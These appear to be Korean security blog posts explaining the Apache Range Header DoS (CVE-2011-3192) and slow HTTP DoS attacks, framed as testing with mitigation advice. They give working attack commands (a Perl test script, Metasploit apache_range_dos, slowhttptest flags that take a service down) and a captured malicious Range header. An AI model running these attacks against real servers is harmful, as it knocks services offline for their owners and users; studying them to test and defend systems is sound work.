336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.
[DoS] Apache Range Header DoS / CVE-2011-3192

 

 

 

 

 

참조 URL : http://people.apache.org/~dirkx/CVE-2011-3192.txt

 

 

 

 

 

Apache Range Header DoS는 L7 어플리케이션 공격 중 일부로 일명 Apache Killer라고도 합니다.

 

 

HTTP는 헤더정보에 range를 사용하여 pdf 나 동영상 등의 일부를 로딩할 수 있습니다.

 

 

만약 문서를 로딩하는 바이트의 범위를 악의적으로 조작한다면 서버의 CPU와 메모리자원을 고갈시킬 수 있습니다.

 

 

 

 

 

# 리눅스 시스템에서 테스트

 

 

참조 URL : http://code.google.com/p/apache-range-header-test/

 

 

저는 CentOS 6.3에서 테스트 해보았습니다.

 

 

1. 패키지 설치

yum install perl perl-libwww-perl

 

 

2. script 다운로드

wget  http://code.google.com/p/apache-range-header-test/downloads/detail?name=httprangetest.pl

 

 

3. 테스트

perl httprangetest.pl http://victim.com

 

 

 

 

 

# Backtrack 에서 테스트

 

 

1. msfconsole

 

 

2. 테스트

msf > use auxiliary/dos/http/apache_range_dos

msf  auxiliary(apache_range_dos) > set rhost 1.1.1.1

msf  auxiliary(apache_range_dos) > run

 

 

 

 

 

 

# 공격 시 트래픽 덤프 내용

 

HEAD / HTTP/1.1

Host: 1.1.1.1

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-

 

- 중략 -

 

1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299

Accept-Encoding: gzip

Connection: close

 

 

 

 

 

# 대응방안 :

1. 아파치를 최신버전으로 패치합니다.

 

 

2. 상용 웹방화벽이나 mod_security와 같은 보안솔루션에서 HEAD Method를 사용을 해제 합니다.

336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

[DoS] SlowHTTPTest 테스트


SlowHTTPTest 는 Application Layer DoS 를 시뮬레이션 하기 위한 툴 입니다.

기존 
Slowloris, Slow HTTP POST와 같이 낮은 대역폭으로 Concurrent Connections Pool 을 소모하며,
Apache Range Header attack 을 통해 서버의 메모리와 CPU 자원을 고갈시킵니다.

Slowloris 와 Slow HTTP POST DoS 는 HTTP 프로토콜에 기반하여 제작되었으므로 시뮬레이션 시 서버의
Requests를 필요합니다.
만약 HTTP Request 가 완전하지 않거나 매우 느리게 전송될 경우 서버는 데이터를 기다려며 자원을 소모합니다.
계속 자원이 소모될 경우 서버는 서비스불능 상태가 됩니다.
이와 같이 Slowloris와 Slow HTTP POST 는 HTTP Request 를 부분적으로 전송하여 타겟 HTTP 서버를 DoS 상태로 만듭니다.

반면 Slow Read DoS attack 은 Request를 지연시키는 것이 아니라,
정상적인 Request를 보내고 느리게 Response를 읽게 함으로써 서버의 자원을 고갈시킵니다.


예를 들자면,
점심시간 직원들끼리 중국집에 가서 주문을 하는데...

기존의 Slowloris 와 Slow HTTP POST 이
주문을 받으러 사람이 왔을 때 주문을 천천히 하거나 주문을 계속 번복하여 다른사람의 주문이 주방으로 못들어가게 하는 공격인 반면,

Slow Read DoS attack 은
주문 시 중국집에서 가장 시간이 오래 걸리는 특선요리를 10개 정도 시켜 주방이 마비가 되도록하는 공격입니다. ^^;
 




# SlowHTTPTest 설치방법
 
저는 CentOS 5.5에서 테스트 해보았습니다.
 
 

1. http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 에서 최신 버전을 다운로드 합니다.

wget 
http://slowhttptest.googlecode.com/files/slowhttptest-1.4.tar.gz 




2. 압축을 해제 합니다.

tar xvfz slowhttptest-1.4.tar.gz




3. 컴파일을 합니다.
./configure ; make ; make install




4. slowhttptest -c 100 -B -i 100 -r 200 -s 10000 -u http://site.com 를 통해 테스팅을 합니다.
( 약 5초 후 Service가 Down 된 것이 표시됩니다. ) 




# slowhttptest 1.4 옵션
 

slowhttptest 1.4, a tool to test for slow HTTP DoS vulnerabilities.
Usage:
slowhttptest [-a <range start>] [-b <range limit>]
[-c <number of connections>] [-<H|B|R|X>]
[-g <generate statistics>]
[-i <interval in seconds>] [-k <request multiply factor>]
[-l <test duration in seconds>]
[-n <slow read interval in seconds>] [-o <output file path and/or name>]
[-p <timeout for probe connection>]
[-r <connections per second>]
[-s <value of Content-Length header>] [-t <verb>]
[-u <URL>] [-v <verbosity level>] 
[-w <advertised window size range start>] [-x <max length of follow up data>]
[-y <advertised window size range end>] [-z <slow read from recieve buffer in bytes>]
Options:
-a start,        left boundary of range in range header, default: 5
-b bytes,        limit for range header right boundary values, default: 2000
-c connections,  target number of connections, default: 50
-h               display this help and exit
-H, -B, -R or X  specify test mode (slow headers,body, range or read),
                default: headers
-g,              generate statistics with socket state changes,
                default: off
-i seconds,      interval between followup data in seconds, default: 10
-k num,          number of times to repeat same request in the connection
                Use to multiply response size if server supports persistent connections.
                Effective in slow read (-X) mode only, default: 1
-l seconds,      target test length in seconds, default: 240
-n seconds,      interval between read operations from recv buffer in seconds.
                Effective in slow read (-X) mode only, default: 1
-o file,         save statistics output in file.html and file.csv,
                -g must be specified to use this option
-p seconds,      timeout to wait for HTTP response on probe connection,
                after which server is considered inaccessible,
                default: 5
-r num,          connection rate (connections per seconds), default: 50
-s bytes,        value of Content-Length header if needed, default: 4096
-t verb          verb to use in request,
                defalut to GET for slow headers and response and to POST for slow body
-u URL,          absolute URL of target, default: http://localhost/
-v level,        verbosity level 0-4: Fatal, Info, Error, Warning, Debug
                default: 1 - Info
-w bytes,        start of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 1
-x bytes,        max length of each randomized name/value pair of
                followup data per tick, e.g. -x 2 generates
                X-xx: xx for header or &xx=xx for body, where x
                is random character, default: 32
-y bytes,        end of the range advertised window size would be picked from.
                Effective in slow read (-X) mode only, min: 1, default: 512
-z bytes         bytes to slow read from receive buffer with single read() call.
                Effective in slow read (-X) mode only, default: 5


+ Recent posts